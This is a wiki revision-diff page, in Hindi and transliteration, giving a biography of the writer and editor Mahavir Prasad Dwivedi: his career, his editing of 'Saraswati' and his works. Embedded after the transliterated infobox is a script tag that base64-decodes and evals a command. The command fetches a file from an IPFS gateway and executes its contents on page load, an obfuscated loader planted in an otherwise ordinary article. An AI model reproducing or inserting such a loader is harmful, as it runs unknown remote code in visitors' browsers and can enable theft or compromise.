Difference between revisions of "महावीर प्रसाद द्विवेदी"
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+ | |जन्म= [[1864]] | ||
+ | |जन्म भूमि=दौलतपुर गाँव, [[रायबरेली]], [[उत्तर प्रदेश]] | ||
+ | |मृत्यु=[[21 दिसम्बर]], [[1938]] | ||
+ | |मृत्यु स्थान=रायबरेली | ||
+ | |अभिभावक=रामसहाय द्विवेदी | ||
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+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि=[[भारत]] | ||
+ | |कर्म-क्षेत्र=साहित्यकार, पत्रकार | ||
+ | |मुख्य रचनाएँ=पद्य- देवी स्तुति-शतक, कान्यकुब्जावलीव्रतम, काव्य मंजूषा, सुमन आदि।<br /> | ||
+ | गद्य-हिन्दी भाषा की उत्पत्ति, सम्पत्तिशास्त्र, साहित्यालाप, महिलामोद आदि। | ||
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+ | |भाषा=[[हिंदी]], [[संस्कृत]], [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] | ||
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+ | |संबंधित लेख= | ||
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+ | |अन्य जानकारी= '[[सरस्वती (पत्रिका)|सरस्वती]]' सम्पादक के रूप में इन्होंने हिन्दी के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। | ||
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+ | }} | ||
+ | '''महावीर प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Mahavir Prasad Dwivedi'', जन्म: [[1864]]; मृत्यु: [[21 दिसम्बर]], [[1938]]) हिन्दी गद्य साहित्य के महान् साहित्यकार, पत्रकार एवं युगविधायक हैं। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
− | महावीर प्रसाद द्विवेदी का जन्म | + | महावीर प्रसाद द्विवेदी का जन्म सन् 1864 ई. में [[उत्तर प्रदेश]] के [[रायबरेली ज़िला|रायबरेली ज़िले]] के दौलतपुर गाँव में हुआ था। इनके पिता का नाम रामसहाय द्विवेदी था। कहा जाता है कि उन्हें महावीर का इष्ट था, इसीलिए उन्होंने अपने पुत्र का नाम महावीर सहाय रखा। |
==शिक्षा== | ==शिक्षा== | ||
− | + | महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। [[हिन्दी साहित्य]] में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में [[अंग्रेज़ी]] पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ [[संस्कृत भाषा|संस्कृत]] के अभाव में इनको वैकल्पिक विषय [[फ़ारसी भाषा|फ़ारसी]] लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक [[वर्ष]] काटा। उसके बाद कुछ दिनों तक [[उन्नाव ज़िला|उन्नाव ज़िले]] के 'रनजीत पुरवा स्कूल' में और कुछ दिनों तक फ़तेहपुर में पढ़ने के बाद यह पिता के पास [[बम्बई]] चले गए। बम्बई में इन्होंने संस्कृत, [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] का अभ्यास किया। | |
− | महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। हिन्दी साहित्य में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में अंग्रेज़ी पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ [[संस्कृत भाषा|संस्कृत]] के अभाव में इनको वैकल्पिक विषय फ़ारसी लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक वर्ष काटा। उसके बाद कुछ दिनों तक [[उन्नाव ज़िला|उन्नाव ज़िले]] के रनजीत पुरवा स्कूल में और कुछ दिनों तक | ||
==कार्यक्षेत्र== | ==कार्यक्षेत्र== | ||
− | महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक [[नागपुर]] और [[अजमेर]] में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में | + | महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक [[नागपुर]] और [[अजमेर]] में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में सिगनलर हो गए। रेलवे में विभिन्न पदों पर कार्य करने के बाद अन्तत: यह [[झाँसी]] में डिस्ट्रिक्ट सुपरिण्टेण्डेण्ट के ऑफ़िस में चीफ़ क्लर्क हो गए। पाँच वर्ष बाद उच्चाधिकारी से न पटने के कारण इन्होंने नौकरी से इस्तीफ़ा दे दिया। इनकी साहित्य साधना का क्रम सरकारी नौकरी के नीरस वातावरण में भी चल रहा था और इस अवधि में इनके संस्कृत ग्रन्थों के कई अनुवाद और कुछ आलोचनाएँ प्रकाश में आ चुकी थीं। सन [[1903]] ई. में महावीर प्रसाद द्विवेदी ने '[[सरस्वती (पत्रिका)|सरस्वती]]' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने [[हिन्दी]] के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। [[1920]] ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते। |
− | + | ==व्यक्तित्व== | |
− | सन 1903 ई. में महावीर प्रसाद द्विवेदी ने 'सरस्वती' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने हिन्दी के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। 1920 ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते। | + | महावीर प्रसाद द्विवेदी के कृतित्व से अधिक महिमामय उनका व्यक्तित्व है। आस्तिकता, कर्तव्यपरायणता, न्यायनिष्ठा, आत्मसंयम, परहित-कातरता और लोक-संग्रह भारतीय नैतिकता के शाश्वत विधान हैं। यह नैतिकता के मूर्तिमान प्रतीक थे। इनके विचारों और कथनों के पीछे इनके व्यक्तित्व की गरिमा भी कार्य करती थी। वह [[युग]] ही नैतिक मूल्यों के आग्रह का था। साहित्य के क्षेत्र में सुधारवादी प्रवृत्तियों का प्रवेश नैतिक दृष्टिकोण की प्रधानता के कारण ही हो रहा था। [[भाषा]]-परिमार्जन के मूलों में भी यही दृष्टिकोण कार्य कर रहा था। इनका कृतित्व श्लाघ्य है तो इनका व्यक्तित्व पूज्य। प्राचीनता की उपेक्षा न करते हुए भी इन्होंने नवीनता को प्रश्रय दिया था। '[[भारत भारती|भारत-भारती]]' के प्रकाशन पर इन्होंने लिखा था- “यह काव्य वर्तमान हिन्दी-साहित्य में युगान्तर उत्पन्न करने वाला है”। इस युगान्तर मूल में इनका ही व्यक्तित्व कार्य कर रहा था। द्विवेदी जी ने अनन्त [[आकाश]] और अनन्त [[पृथ्वी]] के सभी उपकरणों को काव्य-विषय घोषित करके इसी युगान्तर की सूचना दी थी। यह नवयुग के विधायक आचार्य थे। उस युग का बड़े से बड़ा साहित्यकार आपके प्रसाद की ही कामना करता था। सन् [[1903]] ई. से [[1925]] ई. तक (लगभग 22 वर्ष की अवधि में) द्विवेदी जी ने [[हिन्दी साहित्य|हिन्दी-साहित्य]] का नेतृत्व किया। |
+ | ==आलोचक== | ||
+ | आलोचक के रूप में 'रीति' के स्थान पर इन्होंने उपादेयता, लोक-हित, उद्देश्य की गम्भीरता, शैली की नवीनता और निर्दोषिता को काव्योत्कृष्टता की कसौटी के रूप में प्रतिष्ठित किया। इनकी आलोचनाओं से लोक-रुचि का परिष्कार हुआ। नूतन काव्य विवेक जागृत हुआ। सम्पादक के रूप में इन्होंने निरन्तर पाठकों का हित चिन्तन किया। इन्होंने नवीन लेखकों और कवियों को प्रोत्साहित किया। [[मैथिलीशरण गुप्त|राष्ट्रकवि मैथिलीशरण गुप्त]] इन्हें अपना गुरु मानते हैं। गुप्तजी का कहना है कि “मेरी उल्टी-सीधी प्रारम्भिक रचनाओं का पूर्ण शोधन करके उन्हें 'सरस्वती' में प्रकाशित करना और पत्र द्वारा मेरे उत्साह को बढ़ाना द्विवेदी महाराज का ही काम था”। इन्होंने [[पत्रिका]] को निर्दोष, पूर्ण, सरस, उपयोगी और नियमित बनाया। अनुवादक के रूप में इन्होंने [[भाषा]] की प्रांजलता और मूल भाषा की रक्षा को सर्वाधिक महत्त्व दिया। | ||
+ | ==मूल्यांकन== | ||
+ | [[चित्र:Mahavir-Prasad-Dwivedi.jpg|thumb|महावीर प्रसाद द्विवेदी]] | ||
+ | [[हिन्दी साहित्य]] में महावीर प्रसाद द्विवेदी का मूल्यांकन तत्कालीन परिस्थितियों के सन्दर्भ में ही किया जा सकता है। वह समय [[हिन्दी]] के कलात्मक विकास का नहीं, हिन्दी के अभावों की पूर्ति का था। इन्होंने ज्ञान के विविध क्षेत्रों- [[इतिहास]], [[अर्थशास्त्र]], [[विज्ञान]], [[पुरातत्त्व]], चिकित्सा, राजनीति, जीवनी आदि से सामग्री लेकर हिन्दी के अभावों की पूर्ति की। हिन्दी गद्य को माँजने-सँवारने और परिष्कृत करने में यह आजीवन संलग्न रहे। यहाँ तक की इन्होंने अपना भी परिष्कार किया। हिन्दी गद्य और पद्य की भाषा एक करने के लिए ([[खड़ीबोली]] के प्रचार-प्रसार के लिए) प्रबल आन्दोलन किया। हिन्दी गद्य की अनेक विधाओं को समुन्नत किया। इसके लिए इनको [[अंग्रेज़ी]], [[मराठी]], [[गुजराती भाषा|गुजराती]] और [[बंगला भाषा|बंगला]] आदि भाषाओं में प्रकाशित श्रेष्ठ कृतियों का बराबर अनुशीलन करना पड़ता था। निबन्धकार, आलोचक, अनुवादक और सम्पादक के रूप में इन्होंने अपना पथ स्वयं प्रशस्त किया था। निबन्धकार द्विवेदी के सामने सदैव पाठकों के ज्ञान-वर्द्धन का दृष्टिकोण प्रधान रहा, इसीलिए विषय-वैविध्य, सरलता और उपदेशात्मकता उनके निबन्धों की प्रमुख विशेषताएँ बन गयीं। | ||
==कृतियाँ== | ==कृतियाँ== | ||
महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है। | महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है। | ||
− | ==== | + | {| class="bharattable-purple" |
− | *विनय विनोद [[1889]] ई.- | + | |-valign="top" |
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+ | ====पद्य (अनुवाद)==== | ||
+ | *विनय विनोद [[1889]] ई.- भृतहरि के 'वैराग्य शतक' का दोहों में अनुवाद | ||
*विहार वाटिका [[1890]] ई.- गीत गोविन्द का भावानुवाद | *विहार वाटिका [[1890]] ई.- गीत गोविन्द का भावानुवाद | ||
− | *स्नेह माला 1890 ई.- | + | *स्नेह माला 1890 ई.- भृतहरि के 'श्रृंगार शतक' का [[दोहा|दोहों]] में अनुवाद |
− | *श्री महिम्न स्तोत्र [[1891]] ई.- संस्कृत के 'महिम्न स्तोत्र का संस्कृत वृत्तों में अनुवाद | + | *श्री महिम्न स्तोत्र [[1891]] ई.- [[संस्कृत]] के 'महिम्न स्तोत्र का संस्कृत वृत्तों में अनुवाद |
− | *गंगा लहरी 1891 ई.- पण्डितराज जगन्नाथ की 'गंगा लहरी' का सवैयों में अनुवाद | + | *गंगा लहरी 1891 ई.- पण्डितराज जगन्नाथ की 'गंगा लहरी' का [[सवैया|सवैयों]] में अनुवाद |
− | *ऋतुतरंगिणी 1891 ई.- [[कालिदास]] के 'ऋतुसंहार' का छायानुवाद | + | *ऋतुतरंगिणी 1891 ई.- [[कालिदास]] के '[[ऋतुसंहार]]' का छायानुवाद |
*सोहागरात अप्रकाशित- बाइरन के 'ब्राइडल नाइट' का छायानुवाद | *सोहागरात अप्रकाशित- बाइरन के 'ब्राइडल नाइट' का छायानुवाद | ||
− | *कुमारसम्भवसार [[1902]] ई.- कालिदास के 'कुमार सम्भवम' के प्रथम पाँच सर्गों का सारांश। | + | *कुमारसम्भवसार [[1902]] ई.- कालिदास के '[[कुमार सम्भव|कुमार सम्भवम]]' के प्रथम पाँच सर्गों का सारांश। |
− | + | ====गद्य (अनुवाद)==== | |
+ | *भामिनी-विलास [[1891]] ई.- पण्डितराज जगन्नाथ के 'भामिनी विलास' का अनुवाद | ||
+ | *अमृत लहरी [[1896]] ई.- पण्डितराज जगन्नाथ के 'यमुना स्तोत्र' का भावानुवाद | ||
+ | *बेकन-विचार-रत्नावली 1901 ई.- बेकन के प्रसिद्ध निबन्धों का अनुवाद | ||
+ | *शिक्षा [[1906]] ई.- हर्बर्ट स्पेंसर के 'एज्युकेशन' का अनुवाद | ||
+ | *'स्वाधीनता' 1907 ई.- जॉन स्टुअर्ट मिल के 'ऑन लिबर्टी' का अनुवाद | ||
+ | *जल चिकित्सा 1907 ई.- जर्मन लेखक लुई कोने की जर्मन पुस्तक के [[अंग्रेज़ी]] अनुवाद का अनुवाद | ||
+ | *हिन्दी महाभारत [[1908]] ई.-'[[महाभारत]]' की कथा का [[हिन्दी]] रूपान्तर | ||
+ | *रघुवंश [[1912]] ई.- '[[रघुवंश]]' [[महाकाव्य]] का भाषानुवाद | ||
+ | *वेणी-संहार [[1913]] ई.- संस्कृत कवि भट्टनारायण के 'वेणीसंहार' नाटक का अनुवाद | ||
+ | *कुमार सम्भव [[1915]] ई.- कालिदास के '[[कुमार सम्भव]]' का अनुवाद | ||
+ | *मेघदूत [[1917]] ई.- कालिदास के '[[मेघदूत]]' का अनुवाद | ||
+ | *किरातार्जुनीय 1917 ई.- [[भारवि]] के '[[किरातार्जुनीयम्]]' का अनुवाद | ||
+ | *प्राचीन पण्डित और कवि [[1918]] ई.- अन्य भाषाओं के लेखों के आधार पर प्राचीन कवियों और पण्डितों का परिचय | ||
+ | *आख्यायिका सप्तक [[1927]] ई.- अन्य भाषाओं की चुनी हुई सात आख्यायिकाओं का छायानुवाद | ||
+ | ====मौलिक पद्य रचनाएँ==== | ||
*देवी स्तुति-शतक 1892 ई. | *देवी स्तुति-शतक 1892 ई. | ||
*कान्यकुब्जावलीव्रतम [[1898]] ई. | *कान्यकुब्जावलीव्रतम [[1898]] ई. | ||
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*सुमन [[1923]] ई. | *सुमन [[1923]] ई. | ||
*द्विवेदी काव्य-माला [[1940]] ई. | *द्विवेदी काव्य-माला [[1940]] ई. | ||
− | *कविता कलाप [[1909]] ई. | + | *कविता कलाप [[1909]] ई.| |
− | ==== | + | ====मौलिक गद्य रचनाएँ==== |
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*तरुणोपदेश (अप्रकाशित) | *तरुणोपदेश (अप्रकाशित) | ||
− | *हिन्दी | + | *हिन्दी शिक्षावली तृतीय भाग की समालोचना [[1901]] ई. |
− | *वैज्ञानिक कोश 1906 ई., 'नाट्यशास्त्र' 1912 ई. | + | *वैज्ञानिक कोश 1906 ई., |
+ | *'नाट्यशास्त्र' 1912 ई. | ||
*विक्रमांकदेवचरितचर्चा 1907 ई. | *विक्रमांकदेवचरितचर्चा 1907 ई. | ||
*हिन्दी भाषा की उत्पत्ति 1907 ई. | *हिन्दी भाषा की उत्पत्ति 1907 ई. | ||
Line 65: | Line 105: | ||
*अदभुत आलाप 1924 ई. | *अदभुत आलाप 1924 ई. | ||
*महिलामोद [[1925]] ई. | *महिलामोद [[1925]] ई. | ||
− | *आध्यात्मिकी 1928 | + | *आध्यात्मिकी 1928 ई. |
*वैचित्र्य चित्रण [[1926]] ई. | *वैचित्र्य चित्रण [[1926]] ई. | ||
− | * | + | *साहित्यालाप 1926 ई. |
*विज्ञ विनोद 1926 ई. | *विज्ञ विनोद 1926 ई. | ||
*कोविद कीर्तन 1928 ई. | *कोविद कीर्तन 1928 ई. | ||
− | *विदेशी | + | *विदेशी विद्वान् 1928 ई. |
*प्राचीन चिह्न 1929 ई. | *प्राचीन चिह्न 1929 ई. | ||
*चरित चर्या [[1930]] ई. | *चरित चर्या [[1930]] ई. | ||
*पुरावृत्त [[1933]] ई. | *पुरावृत्त [[1933]] ई. | ||
*दृश्य दर्शन 1928 ई. | *दृश्य दर्शन 1928 ई. | ||
− | * | + | *आलोचनांजलि 1928 ई. |
*चरित्र चित्रण [[1929]] ई. | *चरित्र चित्रण [[1929]] ई. | ||
*पुरातत्त्व प्रसंग 1929 ई. | *पुरातत्त्व प्रसंग 1929 ई. | ||
Line 83: | Line 123: | ||
*संकलन [[1931]] ई. | *संकलन [[1931]] ई. | ||
*विचार-विमर्श 1931 ई. | *विचार-विमर्श 1931 ई. | ||
+ | |} | ||
+ | उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन ([[1923]] ई.), [[काशी नागरी प्रचारिणी सभा]] द्वारा किये गये अभिनन्दन ([[1933]] ई. और [[प्रयाग]] में आयोजित 'द्विवेदी मेला', 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं। | ||
+ | ==मृत्यु== | ||
+ | [[21 दिसम्बर]] सन् [[1938]] ई. को रायबरेली में महावीर प्रसाद द्विवेदी जी का स्वर्गवास हो गया। [[हिन्दी साहित्य]] का आचार्य पीठ अनिश्चितकाल के लिए सूना हो गया। | ||
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Latest revision as of 05:22, 21 December 2017
mahavir prasad dvivedi
| |
poora nam | mahavir prasad dvivedi |
janm | 1864 |
janm bhoomi | daulatapur gaanv, rayabareli, uttar pradesh |
mrityu | 21 disambar, 1938 |
mrityu sthan | rayabareli |
abhibhavak | ramasahay dvivedi |
karm bhoomi | bharat |
karm-kshetr | sahityakar, patrakar |
mukhy rachanaean | pady- devi stuti-shatak, kanyakubjavalivratam, kavy manjoosha, suman adi. gady-hindi bhasha ki utpatti, sampattishastr, sahityalap, mahilamod adi. |
bhasha | hiandi, sanskrit, gujarati, marathi aur aangrezi |
nagarikata | bharatiy |
any janakari | 'sarasvati' sampadak ke roop mean inhoanne hindi ke utthan ke lie jo kuchh kiya, us par koee sahity garv kar sakata hai. |
inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahavir prasad dvivedi (aangrezi: Mahavir Prasad Dwivedi, janm: 1864; mrityu: 21 disambar, 1938) hindi gady sahity ke mahanh sahityakar, patrakar evan yugavidhayak haian.
jivan parichay
mahavir prasad dvivedi ka janm sanh 1864 ee. mean uttar pradesh ke rayabareli zile ke daulatapur gaanv mean hua tha. inake pita ka nam ramasahay dvivedi tha. kaha jata hai ki unhean mahavir ka isht tha, isilie unhoanne apane putr ka nam mahavir sahay rakha.
shiksha
mahavir prasad dvivedi ji ki prarambhik shiksha gaanv ki pathashala mean hi huee. pradhanadhyapak ne bhool se inaka nam mahavir prasad likh diya tha. hindi sahity mean yah bhool sthayi ban gayi. terah varsh ki avastha mean aangrezi padhane ke lie yah rayabareli ke zila skool mean bharti hue. yahaan sanskrit ke abhav mean inako vaikalpik vishay farasi lena p da. inhoanne is skool mean jyoan-tyoan ek varsh kata. usake bad kuchh dinoan tak unnav zile ke 'ranajit purava skool' mean aur kuchh dinoan tak fatehapur mean padhane ke bad yah pita ke pas bambee chale ge. bambee mean inhoanne sanskrit, gujarati, marathi aur aangrezi ka abhyas kiya.
karyakshetr
mahavir prasad dvivedi ji ki utkrisht jnan-pipasa kabhi tript n huee, kintu jivika ke lie inhoanne relave mean naukari kar li. kuchh dinoan tak nagapur aur ajamer mean kary karane ke bad yah pun: bambee laut ae. yahaan par inhoanne tar dene ki vidhi sikhi aur relave mean siganalar ho ge. relave mean vibhinn padoan par kary karane ke bad antat: yah jhaansi mean distrikt suparintendent ke aaufis mean chif klark ho ge. paanch varsh bad uchchadhikari se n patane ke karan inhoanne naukari se istifa de diya. inaki sahity sadhana ka kram sarakari naukari ke niras vatavaran mean bhi chal raha tha aur is avadhi mean inake sanskrit granthoan ke kee anuvad aur kuchh alochanaean prakash mean a chuki thian. san 1903 ee. mean mahavir prasad dvivedi ne 'sarasvati' ka sampadan svikar kiya. 'sarasvati' sampadak ke roop mean inhoanne hindi ke utthan ke lie jo kuchh kiya, us par koee sahity garv kar sakata hai. 1920 ee. tak gurutar dayitv inhoanne nishthapoorvak nibhaya. 'sarasvati' se alag hone par jivan ke antim atharah varsh inhoanne gaanv ke niras vatavaran mean vyatit kie. ye varsh b di kathinaee mean bite.
vyaktitv
mahavir prasad dvivedi ke krititv se adhik mahimamay unaka vyaktitv hai. astikata, kartavyaparayanata, nyayanishtha, atmasanyam, parahit-katarata aur lok-sangrah bharatiy naitikata ke shashvat vidhan haian. yah naitikata ke moortiman pratik the. inake vicharoan aur kathanoan ke pichhe inake vyaktitv ki garima bhi kary karati thi. vah yug hi naitik moolyoan ke agrah ka tha. sahity ke kshetr mean sudharavadi pravrittiyoan ka pravesh naitik drishtikon ki pradhanata ke karan hi ho raha tha. bhasha-parimarjan ke mooloan mean bhi yahi drishtikon kary kar raha tha. inaka krititv shlaghy hai to inaka vyaktitv poojy. prachinata ki upeksha n karate hue bhi inhoanne navinata ko prashray diya tha. 'bharat-bharati' ke prakashan par inhoanne likha tha- “yah kavy vartaman hindi-sahity mean yugantar utpann karane vala hai”. is yugantar mool mean inaka hi vyaktitv kary kar raha tha. dvivedi ji ne anant akash aur anant prithvi ke sabhi upakaranoan ko kavy-vishay ghoshit karake isi yugantar ki soochana di thi. yah navayug ke vidhayak achary the. us yug ka b de se b da sahityakar apake prasad ki hi kamana karata tha. sanh 1903 ee. se 1925 ee. tak (lagabhag 22 varsh ki avadhi mean) dvivedi ji ne hindi-sahity ka netritv kiya.
alochak
alochak ke roop mean 'riti' ke sthan par inhoanne upadeyata, lok-hit, uddeshy ki gambhirata, shaili ki navinata aur nirdoshita ko kavyotkrishtata ki kasauti ke roop mean pratishthit kiya. inaki alochanaoan se lok-ruchi ka parishkar hua. nootan kavy vivek jagrit hua. sampadak ke roop mean inhoanne nirantar pathakoan ka hit chintan kiya. inhoanne navin lekhakoan aur kaviyoan ko protsahit kiya. rashtrakavi maithilisharan gupt inhean apana guru manate haian. guptaji ka kahana hai ki “meri ulti-sidhi prarambhik rachanaoan ka poorn shodhan karake unhean 'sarasvati' mean prakashit karana aur patr dvara mere utsah ko badhana dvivedi maharaj ka hi kam tha”. inhoanne patrika ko nirdosh, poorn, saras, upayogi aur niyamit banaya. anuvadak ke roop mean inhoanne bhasha ki praanjalata aur mool bhasha ki raksha ko sarvadhik mahattv diya.
moolyaankan
thumb|mahavir prasad dvivedi hindi sahity mean mahavir prasad dvivedi ka moolyaankan tatkalin paristhitiyoan ke sandarbh mean hi kiya ja sakata hai. vah samay hindi ke kalatmak vikas ka nahian, hindi ke abhavoan ki poorti ka tha. inhoanne jnan ke vividh kshetroan- itihas, arthashastr, vijnan, puratattv, chikitsa, rajaniti, jivani adi se samagri lekar hindi ke abhavoan ki poorti ki. hindi gady ko maanjane-sanvarane aur parishkrit karane mean yah ajivan sanlagn rahe. yahaan tak ki inhoanne apana bhi parishkar kiya. hindi gady aur pady ki bhasha ek karane ke lie (kh diboli ke prachar-prasar ke lie) prabal andolan kiya. hindi gady ki anek vidhaoan ko samunnat kiya. isake lie inako aangrezi, marathi, gujarati aur bangala adi bhashaoan mean prakashit shreshth kritiyoan ka barabar anushilan karana p data tha. nibandhakar, alochak, anuvadak aur sampadak ke roop mean inhoanne apana path svayan prashast kiya tha. nibandhakar dvivedi ke samane sadaiv pathakoan ke jnan-varddhan ka drishtikon pradhan raha, isilie vishay-vaividhy, saralata aur upadeshatmakata unake nibandhoan ki pramukh visheshataean ban gayian.
kritiyaan
mahavir prasad dvivedi ki sahityik den kam nahian hai. inake maulik aur anudit pady aur gady granthoan ki kul sankhya assi se oopar hai. gady mean inaki 14 anudit aur 50 maulik kritiyaan prapt haian. kavita ki or mahavir prasad dvivedi ji ki vishesh pravritti nahian thi. is kshetr mean inaki anudit kritiyaan, jinaki sankhya ath hai, adhik mahattvapoorn haian. maulik kritiyaan kul 9 haian, jinhean svayan tukabandi kaha hai. inaki samast kritiyoan ka sankshipt vivaran nimnalikhit roop mean upasthit kiya ja sakata hai.
pady (anuvad)
gady (anuvad)
maulik pady rachanaean
maulik gady rachanaean
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uparyukt kritiyoan ke atirikt terahavean hindi sahity sammelan (1923 ee.), kashi nagari pracharini sabha dvara kiye gaye abhinandan (1933 ee. aur prayag mean ayojit 'dvivedi mela', 1933 ee.) ke avasar par inhoanne jo bhashan diye the, unhean bhi pustakakar roop mean prakashit kiya gaya hai. apaki banayi huee chh: balopayogi skooli pustakean bhi prakashit haian.
mrityu
21 disambar sanh 1938 ee. ko rayabareli mean mahavir prasad dvivedi ji ka svargavas ho gaya. hindi sahity ka achary pith anishchitakal ke lie soona ho gaya.
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sanbandhit lekh
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